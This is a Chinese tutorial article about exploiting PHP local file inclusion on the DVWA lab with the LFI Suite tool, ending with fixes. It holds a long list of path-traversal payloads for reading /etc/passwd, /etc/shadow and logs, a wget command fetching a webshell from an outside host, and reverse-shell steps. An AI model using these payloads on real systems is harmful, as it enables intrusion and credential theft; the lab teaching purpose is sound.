【51CTO.com原创稿件】今天在公众号看到了一个本地文件包含的利用工具,看了下国外大牛对该工具的使用的一个视频,感觉很厉害,通过该工具可对存在本地文件包含漏洞的站点进行利用并返回一个LFI shell,通过返回的LFI shell再次获取一个反向连接,从而可执行相关命令,以前对本地文件包含的利用大多都停留在读取文件,如果有远程文件包含的话就可以getshell。
这篇文章主要是对本地文件包含的一个简单介绍及利用,主要是对工具的使用,也主要是记录下该过程,方便以后查看,然后再抽时间研究下大神源代码!大神请绕道而行!: )
0x01 文件包含漏洞原理
文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件使用硬编码,一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。
文件包含通常分为本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)。allow_url_fopen和 allow_url_include为0n的情况认为是远程文件包含漏洞,allow_url_fopen为off和 allow_url_include为0n为本地文件包含漏洞,如图1 配置文件所示。本次主要是利用本地文件包含,所以将allow_url_fopen设置为了off。
图1 php.ini配置
另外,文件包含漏洞主要涉及到的危险函数有四个:include(),require()和include_once(),require_once()。
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。
include_once()和require_once():若文件中代码已被包含则不会再次包含。(来自简书)
0x02 文件包含漏洞危害
通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解,若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制;另外文件包含漏洞还可能导致执行任意代码,不管本地文件包含还是远程文件包含!
常见的利用方法有以下三点:
一、读取目标主机上的其他文件,主要是本地文件包含。
二、包含可运行的网页木马,主要是远程文件包含,前提是"allow_url_fopen"是激活的(默认是激活的,没几个人会修改)。
三、包含一个创建文件的相应代码文件,因为通过文件包含漏洞获取的shell不是长久的,如果这个漏洞修补了,那么shell也就不存在了,因此需要创建一个真实的shell。我们可以先包含一个可以执行cmd的伪shell,然后使用wget加-O参数(类似:
http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget http://x.x.x.x/muma.txt -O muma.php)获取一个真正的webshell。如果系统中没有wget命令,获取目录不可写,那么我们可以包含一个创建文件的脚本,然后通过脚本上传木马文件。
除了以上三点外,应该还有一点就是执行任意命令!
0x03 实验环境
本次实验环境主要是利用dvwa平台进行演示,如图2所示。DVWA(Damn Vulnerable Web Application)是用PHP+MySQL编写的一套Web漏洞平台,说简单点就是所谓的网站漏洞靶机,该平台包含了SQL注入、XSS、本地文件包含、命令执行等一些常见的Web安全漏洞,并且该平台是开源的,可以从官网直接下载。
图2 dvwa平台
0x04 本地文件包含利用工具
本次主要使用的是LFI SUIT本地文件包含利用工具,是一款用Python2.7编写的神器,适用于Windows,Linux和OS X,并且首次使用会自动配置,自动安装需要的模块,该工具提供了九种不同的文件包含攻击模块,如图3所示。
另外当你通过一个可利用的攻击获取到一个LFI shell后,你可以通过输入“reverseshell”命令轻易地获得一个反向shell。但是前提是你必须让你的系统监听反向连接,比如使用“nc –lvp port”。
图3 九种不同的文件包含攻击模块
0x05 本地文件包含读取文件
在之前的本地文件包含漏洞中,大多数都是进行读取文件,如Linux下的密码文件(../../../../etc/shadow以及../../../../etc/passwd),获取并读取一些你知道物理路径的一些文件,如图4所示。
图4 读取已知路径下的文件
以下是一些简单的测试用例,根据实际情况进行适当的修改。
../../tomcat/conf/tomcat-users.xml
../
%2e%2e%2f which translates to ../
%2e%2e/ which translates to ../
..%2f which translates to ../
%2e%2e%5c which translates to ..\
%c1%1c
%c0%9v
%c0%af
..%5c../
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\'/bin/cat%20/etc/passwd\\'
\\'/bin/cat%20/etc/shadow\\'
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bo
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
../../../WEB-INF/web.xml
0x06 神器简单获取LFI shell
运行LFI SUIT工具及选择攻击模块
直接使用python lfisuite.py,如图5所示。此时我们选择利用功能模块1。
图5 运行本地文件包含利用工具
设置cookie
在我们选择利用功能模块1后,会提示让我们输入cookie,如图6所示:
图6 设置cookie
获取cookie
浏览器F12console输入document.cookie即可获取到当前cookie,如图7所示。
图7 获取cookie
成功获取LFI shell
输入cookie后,我们随便选择一个攻击模块试试,在此我们选择3,选取攻击模块后,我们输入漏洞地址即可成功获取到一个shell,如图8所示。
图8 成功获取LFI shell
0x07 自动模块获取lfi shell
如果我们不知道那个攻击模块可以返回shell,我们可以选择自动攻击模块。
图9 自动攻击模块
选择之后,我们需要选择一个包含路径的文件,我们选择当前目录下的一个文件即可。
图10 选择文件
选择文件后,该工具会尝试可能性的路径,并且加以利用。
图11 选择文件
如图12所示,我们成功获取了一个shell。
图12 成功获取shell
0x08 获取一个反向连接
在我们已经获取到lfi shell后,我们可以使用reverseshell来获取一个反向连接,我们先进行监听反向连接,如图13所示。
图13 设置监听反向连接
我们输入reverseshell后,设置IP即可
图14 设置ip及端口
此时,我们也成功获取到了一个反向连接,如图15所示。
图15 获取到反向连接
0x09 扫描模块
另外,我们也可以先使用扫描模块,然后在选择对应的攻击模块也能成功获取到LFI shell。使用方法与上面都是一样的,再次就不再进行描述了。
0x10 总结与修复
本文主要是对文件包含做了一个简单的介绍,如文件包含漏洞的简单原理及危害,最重要的是对本地文件包含漏洞的进一步利用,通过本地文件包含漏洞,从而获取到一个反向连接或者是LFI shell。通过本文也让自己对本地文件包含的危害和利用都有了一定的提高,不在是只停留在读取文件上!
通过对该漏洞的利用,最安全的是设置allow_url_fopen和 allow_url_include为0ff,这样就不能利用该漏洞了,另一方面可以做白名单限制,相当于是硬编码,直接把需要包含的文件固定死,这样既不会影响业务,也不会很轻松被利用,其次还是要对用户的输入保持怀疑态度,对用户的输入变量进行严格的检查及过滤!
【51CTO原创稿件,合作站点转载请注明原文作者和出处为51CTO.com】